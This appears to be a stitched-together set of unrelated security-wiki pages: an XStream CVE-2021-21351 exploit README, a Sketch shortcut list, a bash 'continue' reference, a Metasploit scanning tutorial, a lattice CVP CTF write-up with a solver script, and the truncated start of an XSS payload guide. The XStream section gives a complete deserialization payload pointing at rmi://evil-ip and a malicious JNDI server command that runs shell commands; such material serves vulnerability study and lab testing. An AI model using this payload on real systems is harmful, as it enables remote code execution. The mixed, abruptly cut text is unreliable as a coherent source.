# XStream Deserialization Remote Command Execution (CVE-2021-21351) [中文版本(Chinese version)](README.zh-cn.md) XStream is a simple library to serialize objects to XML and back again. XStream uses a blocklist mechanism when parsing XML text which is utilized to defend against deserialization vulnerabilities, but in 1.4.15 and earlier, blocklists are incomplete and attackers could use `javax.naming.ldap.Rdn$RdnEntry` and `javax.sql.rowset.BaseRowSet` to make an JNDI injection and execute arbitrary commands finally. Reference links. - https://x-stream.github.io/CVE-2021-21351.html - https://paper.seebug.org/1543/ - https://www.veracode.com/blog/research/exploiting-jndi-injections-java - https://github.com/welk1n/JNDI-Injection-Exploit/ ## Vulnerable Environment Start a Springboot + XStream 1.4.15 server. ``` docker compose up -d ``` Once the environment is started, you can send the following request to `http://your-ip:8080` to test if the server has started successfully ![](1.png) ## POC Since the target Java version is higher than 8u191, you need the help of `org.apache.naming.factory.BeanFactory` with EL expression injection to execute arbitrary commands, reference to [this article](https://www.veracode.com/blog/research/exploiting-jndi-injections-java). Start a malicious JNDI server using [this tool](https://github.com/welk1n/JNDI-Injection-Exploit/). ``` java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.142 ``` ![](2.png) Using the RMI address based on the SpringBoot exploit gadget in the above screenshot as the value of `<dataSource>`. ``` POST / HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/xml Content-Length: 3184 <sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'> <m__DTMXRTreeFrag> <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'> <m__size>-10086</m__size> <m__mgrDefault> <__overrideDefaultParser>false</__overrideDefaultParser> <m__incremental>false</m__incremental> <m__source__location>false</m__source__location> <m__dtms> <null/> </m__dtms> <m__defaultHandler/> </m__mgrDefault> <m__shouldStripWS>false</m__shouldStripWS> <m__indexing>false</m__indexing> <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'> <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>rmi://evil-ip:1099/example</dataSource> <listeners/> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </fPullParserConfig> <fConfigSetInput> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>setAutoCommit</name> <parameter-types> <class>boolean</class> </parameter-types> </fConfigSetInput> <fConfigParse reference='../fConfigSetInput'/> <fParseInProgress>false</fParseInProgress> </m__incrementalSAXSource> <m__walker> <nextIsRaw>false</nextIsRaw> </m__walker> <m__endDocumentOccured>false</m__endDocumentOccured> <m__idAttributes/> <m__textPendingStart>-1</m__textPendingStart> <m__useSourceLocationProperty>false</m__useSourceLocationProperty> <m__pastFirstElement>false</m__pastFirstElement> </m__dtm> <m__dtmIdentity>1</m__dtmIdentity> </m__DTMXRTreeFrag> <m__dtmRoot>1</m__dtmRoot> <m__allowRelease>false</m__allowRelease> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set> ``` `evil-ip` is the address of the malicious RMI server. It can be seen that ``touch /tmp/success`` has been successfully executed: ![](3.png) If something goes wrong with the POC and Java version, the POC have to be modified by changing ``<__overrideDefaultParser>false</__overrideDefaultParser>`` to ``<__useServicesMechanism>false</__useServicesMechanism>``.
sec-knowleage
--- title: Sketch date: 2022-11-23 16:23:31.699427 background: bg-[#d36f2b] label: Mac tags: - - mac categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 149 keyboard shortcuts found in Sketch. This application is MacOS-only. --- Keyboard Shortcuts ------------------ ### General {.row-span-2} Shortcut | Action ---|--- `Cmd` `C` | Copy `Cmd` `X` | Cut `Cmd` `V` | Paste `Cmd` `Shift` `V` | Paste over selection `Space` `(drag)` | Pan Canvas `Cmd` `Shift` `N` | New page `Fn` `Up` | Previous page `Fn` `Down` | Next page `Cmd` `+` | Zoom in `Cmd` `-` | Zoom out `Ctrl` `R` | Toggle rulers `Ctrl` `P` | Toggle pixels `Ctrl` `X` | Toggle pixel grid `Ctrl` `G` | Toggle grid `Ctrl` `L` | Toggle layout `Ctrl` `E` | Toggle slices `Ctrl` `F` | Toggle prototyping `Cmd` `F` | Filter in Layer List `Cmd` `Ctrl` `K` | Run custom plugin `Cmd` `Z` | Undo `Cmd` `Shift` `Z` | Redo `Cmd` `N` | New document `Cmd` `Shift` `N` | New Cloud document `Cmd` `O` | Open document `Cmd` `Shift` `O` | Open Cloud document `Cmd` `W` | Close window `Cmd` `S` | Save document `Cmd` `Shift` `S` | Duplicate document `Cmd` `Shift` `Opt` `S` | Save document as... `Cmd` `Shift` `P` | Page setup `Cmd` `,` | Open Preferences window `Cmd` `H` | Hide Sketch `Cmd` `Q` | Quit Sketch `Cmd` `Shift` `?` | Open the Help menu `Cmd` `P` | Open Preview window {.shortcuts} ### Inserting Layers Shortcut | Action ---|--- `R` | Rectangle `O` | Oval `L` | Line `U` | Rounded rectangle `V` | Vector tool `P` | Pencil tool `T` | Text tool `A` | Artboard tool `S` | Slice tool `H` | Hotspot tool {.shortcuts} ### Selecting Layers Shortcut | Action ---|--- `Cmd` `A` | Select all `Cmd` `Shift` `A` | Select all Artboards `Fn` `Right` | Select next Artboard `Fn` `Left` | Select previous Artboard `Cmd` `Shift` `J` | Reveal selection in Layer List {.shortcuts} ### Moving and Resizing Layers Shortcut | Action ---|--- `Opt` | Display distance between other layers (while hovering) `Cmd` `D` | Duplicate `(arrows)` | Nudge layer any direction by 1px `Shift` `(arrows)` | Nudge layer any direction by 10px `Cmd` `K` | Scale layer `Cmd` `Right/Down` | Expand by 1px `Cmd` `Left/Up` | Contract by 1px `Cmd` `Shift` `Right/Down` | Expand by 10px `Cmd` `Shift` `Left/Up` | Contract by 10px `Ctrl` `Opt` | Show distance to baseline or cap height on text layers (while hovering) {.shortcuts} ### Editing Layers Shortcut | Action ---|--- `Enter` | Edit layer `Esc` | Finish editing `Opt` `Tab` | Focus X position input field in the Inspector `Del` | Delete layer `Cmd` `Opt` `C` | Copy style `Cmd` `Opt` `V` | Paste style `Ctrl` `S` | Sync shared style `Opt` `Ctrl` `S` | Reset shared style `W` | Add link to Artboard `F` | Toggle fill `B` | Toggle border `Ctrl` `C` | Pick color `0-9` | Edit layer opacity `Cmd` `Shift` `T` | Transform shape `Cmd` `Shift` `R` | Rotate layer `Cmd` `Ctrl` `M` | Use as mask `Cmd` `Esc` | Return to instance `Cmd` `Opt` `U` | Union multiple layers `Cmd` `Opt` `S` | Subtract multiple layers `Cmd` `Opt` `I` | Intersect multiple layers `Cmd` `Opt` `X` | Difference multiple layers {.shortcuts} ### Vector Editing Shortcut | Action ---|--- `Cmd` `Opt` `O` | Open or close path `Tab` | Selects next point `Opt` | Show all handle control points `1` | Straight point type `2` | Mirrored point type `3` | Disconnected point type `4` | Asymmetric point type {.shortcuts} ### Text Editing {.row-span-2} Shortcut | Action ---|--- `Cmd` `Shift` `Opt` `V` | Paste as rich text `Cmd` `T` | Change typeface `Cmd` `B` | Bold `Cmd` `I` | Italic `Cmd` `U` | Underline `Cmd` `Opt` `+` | Increase font size `Cmd` `Opt` `-` | Decrease font size `Ctrl` `Opt` `L` | Increase character spacing `Ctrl` `Opt` `T` | Decrease character spacing `Cmd` `Shift` `[` | Align left `Cmd` `Shift` `\` | Align center `Cmd` `Shift` `]` | Align right `Cmd` `Opt` `Space` | Emoji and symbols `Cmd` `Opt` `O` | Convert to outlines `Shift` `Enter` | Insert a line break {.shortcuts} ### Arranging Layers {.row-span-2} Shortcut | Action ---|--- `Cmd` `G` | Group `Cmd` `Shift` `G` | Ungroup `Cmd` `R` | Rename layer `Tab` | Select next layer in group `Shift` `Tab` | Select previous layer in group `Enter` | Selects layer inside group `Esc` | Selects parent group `Cmd` `]` | Bring forward `Cmd` `Opt` `]` | Bring to front `Cmd` `[` | Send backward `Cmd` `Opt` `[` | Send to back `Cmd` `Shift` `Opt` `Up` | Move up, out of group or Artboard `Cmd` `Ctrl` `H` | Distribute horizontally `Cmd` `Ctrl` `V` | Distribute vertically `Cmd` `Shift` `H` | Hide or show layer `Cmd` `Shift` `L` | Lock or unlock layer {.shortcuts} ### Exporting Layers Shortcut | Action ---|--- `Cmd` `Shift` `E` | Export `Cmd` `E` | Export selected layer(s) {.shortcuts} ### Zoom and Focus Shortcut | Action ---|--- `Cmd` `0` | Zoom to 100% `Cmd` `1` | Zoom to all elements on Canvas `Cmd` `2` | Zoom to selected layer(s) `Cmd` `3` | Center selected layer(s) in Canvas `Shift` <code>\`</code> | Temporarily zoom out to 100% `Cmd` `Ctrl` `F` | Toggle full screen `Cmd` `Opt` `1` | Show or hide Layer list `Cmd` `Opt` `2` | Show or hide Inspector `Cmd` `.` | Enter presentation mode `Cmd` `Opt` `T` | Show or hide Toolbar {.shortcuts} ### Text Fields Shortcut | Action ---|--- `Opt` `Tab` | Focus Inspector `Tab` | Select next field `Shift` `Tab` | Select previous field `Enter` | Confirm change `Esc` | Clear change `Up` | Increase value by 1 `Down` | Decrease value by 1 `Shift` `Up` | Increase value by 10 `Shift` `Down` | Decrease value by 10 `Opt` `Up` | Increase value by 0.1 `Opt` `Down` | Decrease value by 0.1 {.shortcuts} ### Miscellaneous Shortcut | Action ---|--- `Shift` | Launch Sketch with all plugins disabled (hold on startup) `Cmd` `Ctrl` `D` | Detach from Symbol `Cmd` `Ctrl` `Opt` `D` | Detach all contents from Symbol `Cmd` `Shift` `D` | Refresh Data `Cmd` `Ctrl` `R` | Run last-used plugin again `0-9` | With a gradient stop selected, position it between 0% and 100% `=` | Position selected gradient stop directly between two existing stops {.shortcuts} Also see -------- - [Keyboard shortcuts for Sketch](https://www.sketch.com/docs/shortcuts/) _(www.sketch.com)_
sec-knowleage
continue === 结束本次循环,继续执行下一个for,while或until循环。 ## 概要 ```shell continue [n] ``` ## 主要用途 - 结束本次循环,继续执行下一个for,while或until循环;可指定从第几层循环继续执行。 ## 参数 n(可选):大于等于1的整数,用于指定从第几层循环继续执行。 ## 返回值 返回状态为成功除非n小于1。 ## 例子 ```shell # continue的可选参数n缺省值为1。 for((i=3;i>0;i--)); do # 跳到内层for循环继续执行。 for((j=3;j>0;j--)); do if((j==2)); then # 换成continue 1时结果一样 continue fi printf "%s %s\n" ${i} ${j} done done # 输出结果 3 3 3 1 2 3 2 1 1 3 1 1 ``` ```shell # 当n为2时: # 跳到外层for循环继续执行。 for((i=3;i>0;i--)); do for((j=3;j>0;j--)); do if((j==2)); then continue 2 fi printf "%s %s\n" ${i} ${j} done done # 输出结果 3 3 2 3 1 3 ``` ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 **攻击机:** 192.168.1.5 Debian **靶机:** 192.168.1.2 Windows 7 192.168.1.115 Windows 2003 192.168.1.119 Windows 2003 **第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/discovery/arp_sweep * auxiliary/scanner/discovery/udp_sweep * auxiliary/scanner/ftp/ftp_version * auxiliary/scanner/http/http_version * auxiliary/scanner/smb/smb_version **第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/ssh/ssh_version * auxiliary/scanner/telnet/telnet_version * auxiliary/scanner/discovery/udp_probe * auxiliary/scanner/dns/dns_amp * auxiliary/scanner/mysql/mysql_version ### 六:基于auxiliary/scanner/ssh/ssh_version发现SSH服务 ```bash msf auxiliary(scanner/ssh/ssh_version) > show options Module options (auxiliary/scanner/ssh/ssh_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 22 yes The target port (TCP) THREADS 50 yes The number of concurrent threads TIMEOUT 30 yes Timeout for the SSH probe msf auxiliary(scanner/ssh/ssh_version) > exploit [+] 192.168.1.5:22 ‐ SSH server version: SSH‐2.0‐OpenSSH_7.9p1 Debian‐5 ( service.version=7.9p1 openssh.comment=Debian‐5 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openb sd:openssh:7.9p1 os.vendor=Debian os.family=Linux os.product=Linux os.cpe 23=cpe:/o:debian:debian_linux:‐ service.protocol=ssh fingerprint_db=ssh.banner ) [*] Scanned 52 of 256 hosts (20% complete) [*] Scanned 95 of 256 hosts (37% complete) [*] Scanned 100 of 256 hosts (39% complete) [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 131 of 256 hosts (51% complete) [*] Scanned 154 of 256 hosts (60% complete) [*] Scanned 180 of 256 hosts (70% complete) [*] Scanned 206 of 256 hosts (80% complete) [*] Scanned 235 of 256 hosts (91% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/807c52e59e46d0f2e9e95d01437eeb14.jpg) ### 七:基于auxiliary/scanner/telnet/telnet_version发现TELNET服务 ```bash msf auxiliary(scanner/telnet/telnet_version) > show options Module options (auxiliary/scanner/telnet/telnet_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ PASSWORD no The password for the specified username RHOSTS 192.168.1.119 yes The target address range or CIDR identifier RPORT 23 yes The target port (TCP) THREADS 50 yes The number of concurrent threads TIMEOUT 30 yes Timeout for the Telnet probe USERNAME no The username to authenticate as msf auxiliary(scanner/telnet/telnet_version) > exploit [+] 192.168.1.119:23 ‐ 192.168.1.119:23 TELNET Welcome to Microsoft Telnet Service \x0a\x0a\x0dlogin: [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/c089625576a0bc03d7c27c5e8a29bf76.jpg) ### 八:基于scanner/discovery/udp_probe发现内网存活主机 ```bash msf auxiliary(scanner/discovery/udp_probe) > show options Module options (auxiliary/scanner/discovery/udp_probe): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ CHOST no The local client address RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/discovery/udp_probe) > exploit [+] Discovered NetBIOS on 192.168.1.2:137 (JOHN‐PC:<00>:U :WORKGROUP: <00>:G :JOHN‐PC:<20>:U :WORKGROUP:<1e>:G :WORKGROUP:<1d>:U :__MSBROWSE__ <01>:G :4c:cc:6a:e3:51:27) [+] Discovered DNS on 192.168.1.1:53 (de778500000100010000000007564552 53494f4e0442494e440000100003c00c0010000300000001001a19737572656c7920796f7 5206d757374206265206a6f6b696e67) [*] Scanned 43 of 256 hosts (16% complete) [*] Scanned 52 of 256 hosts (20% complete) [*] Scanned 89 of 256 hosts (34% complete) [+] Discovered NetBIOS on 192.168.1.119:137 (WIN03X64:<00>:U :WIN03X64:<20>:U :WORKGROUP:<00>:G :WORKGROUP:<1e>:G :WIN03X64:<03>:U :ADMINISTRA TOR:<03>:U :WIN03X64:<01>:U :00:0c:29:85:d6:7d) [*] Scanned 103 of 256 hosts (40% complete) [*] Scanned 140 of 256 hosts (54% complete) [*] Scanned 163 of 256 hosts (63% complete) [*] Scanned 184 of 256 hosts (71% complete) [*] Scanned 212 of 256 hosts (82% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/af10a3aff554c008158ff0e85b036489.jpg) ### 九:基于auxiliary/scanner/dns/dns_amp发现内网存活主机 ```bash msf auxiliary(scanner/dns/dns_amp) > show options Module options (auxiliary/scanner/dns/dns_amp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ BATCHSIZE 256 yes The number of hosts to probe in each set DOMAINNAME isc.org yes Domain to use for the DNS request FILTER no The filter string for capturing traffic INTERFACE no The name of the interface PCAPFILE no The name of the PCAP capture file to process QUERYTYPE ANY yes Query type(A, NS, SOA, MX, TXT, AAAA, RRSIG, DNSKEY, ANY) RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier RPORT 53 yes The target port (UDP) SNAPLEN 65535 yes The number of bytes to capture THREADS 50 yes The number of concurrent threads TIMEOUT 500 yes The number of seconds to wait for new data msf auxiliary(scanner/dns/dns_amp) > exploit [*] Sending DNS probes to 192.168.1.0‐>192.168.1.255 (256 hosts) [*] Sending 67 bytes to each host using the IN ANY isc.org request [+] 192.168.1.1:53 ‐ Response is 530 bytes [7.91x Amplification] [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/3fc4759c9996757b077c7a33694e0dea.jpg) ### 十:基于auxiliary/scanner/mysql/mysql_version发现mysql服务 ```bash msf auxiliary(scanner/mysql/mysql_version) > show options Module options (auxiliary/scanner/mysql/mysql_version): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ RHOSTS 192.168.1.115 yes The target address range or CIDR identifier RPORT 3306 yes The target port (TCP) THREADS 50 yes The number of concurrent threads msf auxiliary(scanner/mysql/mysql_version) > exploit [+] 192.168.1.115:3306 ‐ 192.168.1.115:3306 is running MySQL 5.1.52‐community (protocol 10) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ![](media/d25ea6b152f71fa64120456845df5597.jpg) > Micropoor
sec-knowleage
# CVP CVP是Lattice-based cryptography中尤为重要的一个问题。 问题的基本定义如下:给定格$L$的一组基与向量$\mathbf{v}$,找到在$L$上离$\mathbf{v}$最近的一个向量。 <!-- TODO: Add more Lattice-based cryptography (CVP specifically) application intro here. TODO: Make intro more descriptive and rigorous. --> ## Algorithms ### Babai's nearest plane algorithm <!-- TODO: Add intro --> 该算法输入一组格$L$(秩为$n$)的基$B$和一个目标向量$\mathbf{t}$,输出CVP问题的近似解。 * 近似因子为$\gamma = 2^{\frac{n}{2}}$ 具体算法: * 其中$c_j$为Gram-schmidt正交化中的系数取整,也即$proj_{b_{j}}(b)$的取整。 对于该算法第二步的个人理解:在格基规约和正交化过后的基$B$中找到一个最靠近$\mathbf{t}$的线性组合。 ### Babai’s Rounding Technique 该算法是`Babai's nearest plane algorithm`的一个变种。 步骤可以表示为: ``` N = rank(B), w = target - B' = LLL(B) - Find a linear combination [l_0, ... l_N] such that w = sum(l_i * b'_i). * (b'_i is the i-th vector in the LLL-reduced basis B') - Round each l_i to it's closest integer l'_i. - Result v = sum(l'_i * b'_i) ``` ## 相关内容 ### Hidden number problem HNP的定义如下: 给定质数$p$、许多$t \in \mathbb{F}_p$以及每一个对应的$MSB_{l,p}(\alpha t)$,找出对应的$\alpha$。 * $MSB_{l,p}(x)$表示任一满足 $\lvert (x \mod p) - u \rvert \le \frac{p}{2^{l+1}}$ 的整数 $u$,近似为取$x \mod p$的$l$个最高有效位。 根据参考3中的描述,当$l \approx \log^{\frac{1}{2}}{p}$时,有如下算法可以解决HNP: 我们可以将此问题转化为一个由该矩阵生成的格上的CVP问题: $\left[ \begin{matrix} p & 0 & \dots & 0 & 0 \\ 0 & p & \ddots & \vdots & \vdots \\ \vdots & \ddots & \ddots & 0 & \vdots \\ 0 & 0 & \dots & p & 0 \\ t_1 & t_2 & \dots & t_{n} & \frac{1}{2^{l+1}} \end{matrix} \right]$ 我们需要找到在格上离$\mathbf{u}=(u_1, u_2, \dots, u_{n}, 0)$最近的向量,所以在这里,我们可以采用`Babai's nearest plane algorithm`。最终我们可以得到一组向量 $\mathbf{v}=(\alpha \cdot t_1 \mod p, \alpha \cdot t_2 \mod p, \dots, \frac{\alpha}{2^{l+1}})$,从而算出 $\alpha$。 ### BCTF 2018 - guess_number 题目提供了服务器端的代码: ```python import random, sys from flag import FLAG import gmpy2 def msb(k, x, p): delta = p >> (k + 1) ui = random.randint(x - delta, x + delta) return ui def main(): p = gmpy2.next_prime(2**160) for _ in range(5): alpha = random.randint(1, p - 1) # print(alpha) t = [] u = [] k = 10 for i in range(22): t.append(random.randint(1, p - 1)) u.append(msb(k, alpha * t[i] % p, p)) print(str(t)) print(str(u)) guess = raw_input('Input your guess number: ') guess = int(guess) if guess != alpha: exit(0) if __name__ == "__main__": main() print(FLAG) ``` 可以看到,程序一共执行5轮。在每一轮,程序会生成一个随机的$\alpha$和22个随机的$t_i$。对于每一个$t_i$,程序会取$u_i = MSB_{10,p}(\alpha\cdot{t_i\mod{p}})$,随后发送给客户端。我们需要根据提供的$t_i$和$u_i$计算出对应的$\alpha$。可以看到,该问题是一个典型的Hidden number problem,于是可以使用上述算法解决: ```python import socket import ast import telnetlib #HOST, PORT = 'localhost', 9999 HOST, PORT = '60.205.223.220', 9999 s = socket.socket() s.connect((HOST, PORT)) f = s.makefile('rw', 0) def recv_until(f, delim='\n'): buf = '' while not buf.endswith(delim): buf += f.read(1) return buf p = 1461501637330902918203684832716283019655932542983 k = 10 def solve_hnp(t, u): # http://www.isg.rhul.ac.uk/~sdg/igor-slides.pdf M = Matrix(RationalField(), 23, 23) for i in xrange(22): M[i, i] = p M[22, i] = t[i] M[22, 22] = 1 / (2 ** (k + 1)) def babai(A, w): A = A.LLL(delta=0.75) G = A.gram_schmidt()[0] t = w for i in reversed(range(A.nrows())): c = ((t * G[i]) / (G[i] * G[i])).round() t -= A[i] * c return w - t closest = babai(M, vector(u + [0])) return (closest[-1] * (2 ** (k + 1))) % p for i in xrange(5): t = ast.literal_eval(f.readline().strip()) u = ast.literal_eval(f.readline().strip()) alpha = solve_hnp(t, u) recv_until(f, 'number: ') s.send(str(alpha) + '\n') t = telnetlib.Telnet() t.sock = s t.interact() ``` ## 参考 * [Lecture 3 - CVP algorithm](https://cims.nyu.edu/~regev/teaching/lattices_fall_2004/ln/cvp.pdf) * [Wikipedia](https://en.wikipedia.org/wiki/Lattice_problem) * [Playing “Hide-and-Seek” in Finite Fields: Hidden Number Problem and Its Applications](http://www.isg.rhul.ac.uk/~sdg/igor-slides.pdf) * https://www.math.auckland.ac.nz/~sgal018/crypto-book/ch18.pdf
sec-knowleage
# Cross Site Scripting > Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. ## Summary - [Cross Site Scripting](#cross-site-scripting) - [Vulnerability Details](#vulnerability-details) - [Exploit code or POC](#exploit-code-or-poc) - [Data grabber for XSS](#data-grabber-for-xss) - [CORS](#cors) - [UI redressing](#ui-redressing) - [Javascript keylogger](#javascript-keylogger) - [Other ways](#other-ways) - [Identify an XSS endpoint](#identify-an-xss-endpoint) - [Tools](#tools) - [XSS in HTML/Applications](#xss-in-htmlapplications) - [Common Payloads](#common-payloads) - [XSS using HTML5 tags](#xss-using-html5-tags) - [XSS using a remote JS](#xss-using-a-remote-js) - [XSS in hidden input](#xss-in-hidden-input) - [XSS when payload is reflected capitalized](#xss-when-payload-is-reflected-capitalized) - [DOM based XSS](#dom-based-xss) - [XSS in JS Context](#xss-in-js-context) - [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri) - [XSS in files](#xss-in-files) - [XSS in XML](#xss-in-xml) - [XSS in SVG](#xss-in-svg) - [XSS in SVG (short)](#xss-in-svg-short) - [XSS in Markdown](#xss-in-markdown) - [XSS in SWF flash application](#xss-in-swf-flash-application) - [XSS in SWF flash application](#xss-in-swf-flash-application-1) - [XSS in CSS](#xss-in-css) - [XSS in PostMessage](#xss-in-postmessage) - [Blind XSS](#blind-xss) - [XSS Hunter](#xss-hunter) - [Other Blind XSS tools](#other-blind-xss-tools) - [Blind XSS endpoint](#blind-xss-endpoint) - [Tips](#tips) - [Mutated XSS](#mutated-xss) - [Polyglot XSS](#polyglot-xss) - [Filter Bypass and exotic payloads](#filter-bypass-and-exotic-payloads) - [Bypass case sensitive](#bypass-case-sensitive) - [Bypass tag blacklist](#bypass-tag-blacklist) - [Bypass word blacklist with code evaluation](#bypass-word-blacklist-with-code-evaluation) - [Bypass with incomplete html tag](#bypass-with-incomplete-html-tag) - [Bypass quotes for string](#bypass-quotes-for-string) - [Bypass quotes in script tag](#bypass-quotes-in-script-tag) - [Bypass quotes in mousedown event](#bypass-quotes-in-mousedown-event) - [Bypass dot filter](#bypass-dot-filter) - [Bypass parenthesis for string](#bypass-parenthesis-for-string) - [Bypass parenthesis and semi colon](#bypass-parenthesis-and-semi-colon) - [Bypass onxxxx= blacklist](#bypass-onxxxx-blacklist) - [Bypass space filter](#bypass-space-filter) - [Bypass email filter](#bypass-email-filter) - [Bypass document blacklist](#bypass-document-blacklist) - [Bypass document.cookie blacklist](#bypass-document-cookie-blacklist) - [Bypass using javascript inside a string](#bypass-using-javascript-inside-a-string) - [Bypass using an alternate way to redirect](#bypass-using-an-alternate-way-to-redirect) - [Bypass using an alternate way to execute an alert](#bypass-using-an-alternate-way-to-execute-an-alert) - [Bypass ">" using nothing](#bypass--using-nothing) - [Bypass "<" and ">" using < and >](#bypass--and--using--and-) - [Bypass ";" using another character](#bypass--using-another-character) - [Bypass using HTML encoding](#bypass-using-html-encoding) - [Bypass using Katakana](#bypass-using-katakana) - [Bypass using Cuneiform](#bypass-using-cuneiform) - [Bypass using Lontara](#bypass-using-lontara) - [Bypass using ECMAScript6](#bypass-using-ecmascript6) - [Bypass using Octal encoding](#bypass-using-octal-encoding) - [Bypass using Unicode](#bypass-using-unicode) - [Bypass using UTF-7](#bypass-using-utf-7) - [Bypass using UTF-8](#bypass-using-utf-8) - [Bypass using UTF-16be](#bypass-using-utf-16be) - [Bypass using UTF-32](#bypass-using-utf-32) - [Bypass using BOM](#bypass-using-bom) - [Bypass using weird encoding or native interpretation](#bypass-using-weird-encoding-or-native-interpretation) - [Bypass using jsfuck](#bypass-using-jsfuck) - [CSP Bypass](#csp-bypass) - [Bypass CSP using JSONP from Google (Trick by @apfeifer27)](#bypass-csp-using-jsonp-from-google-trick-by-apfeifer27) - [Bypass CSP by lab.wallarm.com](#bypass-csp-by-labwallarmcom) - [Bypass CSP by Rhynorater](#bypass-csp-by-rhynorater) - [Bypass CSP by @akita_zen](#bypass-csp-by-akita_zen) - [Bypass CSP by @404death](#bypass-csp-by-404death) - [Common WAF Bypass](#common-waf-bypass) - [Cloudflare XSS Bypasses by @Bohdan Korzhynskyi](#cloudflare-xss-bypasses-by-bohdan-korzhynskyi) - [25st January 2021](#25st-january-2021) - [21st April 2020](#21st-april-2020) - [22nd August 2019](#22nd-august-2019) - [5th June 2019](#5th-june-2019) - [3rd June 2019](#3rd-june-2019) - [Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)](#cloudflare-xss-bypass---22nd-march-2019-by-rakeshmane10) - [Cloudflare XSS Bypass - 27th February 2018](#cloudflare-xss-bypass---27th-february-2018) - [Chrome Auditor - 9th August 2018](#chrome-auditor---9th-august-2018) - [Incapsula WAF Bypass by @Alra3ees- 8th March 2018](#incapsula-waf-bypass-by-alra3ees--8th-march-2018) - [Incapsula WAF Bypass by @c0d3G33k - 11th September 2018](#incapsula-waf-bypass-by-c0d3g33k---11th-september-2018) - [Incapsula WAF Bypass by @daveysec - 11th May 2019](#incapsula-waf-bypass-by-daveysec---11th-may-2019) - [Akamai WAF Bypass by @zseano - 18th June 2018](#akamai-waf-bypass-by-zseano---18th-june-2018) - [Akamai WAF Bypass by @s0md3v - 28th October 2018](#akamai-waf-bypass-by-s0md3v---28th-october-2018) - [WordFence WAF Bypass by @brutelogic - 12th September 2018](#wordfence-waf-bypass-by-brutelogic---12th-september-2018) - [Fortiweb WAF Bypass by @rezaduty - 9th July 2019](#fortiweb-waf-bypass-by-rezaduty---9th-july-2019) - [References](#references) ## Vulnerability Details Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions. There are 3 main types of XSS attacks: * **Reflected XSS**: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials. * **Stored XSS**: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed 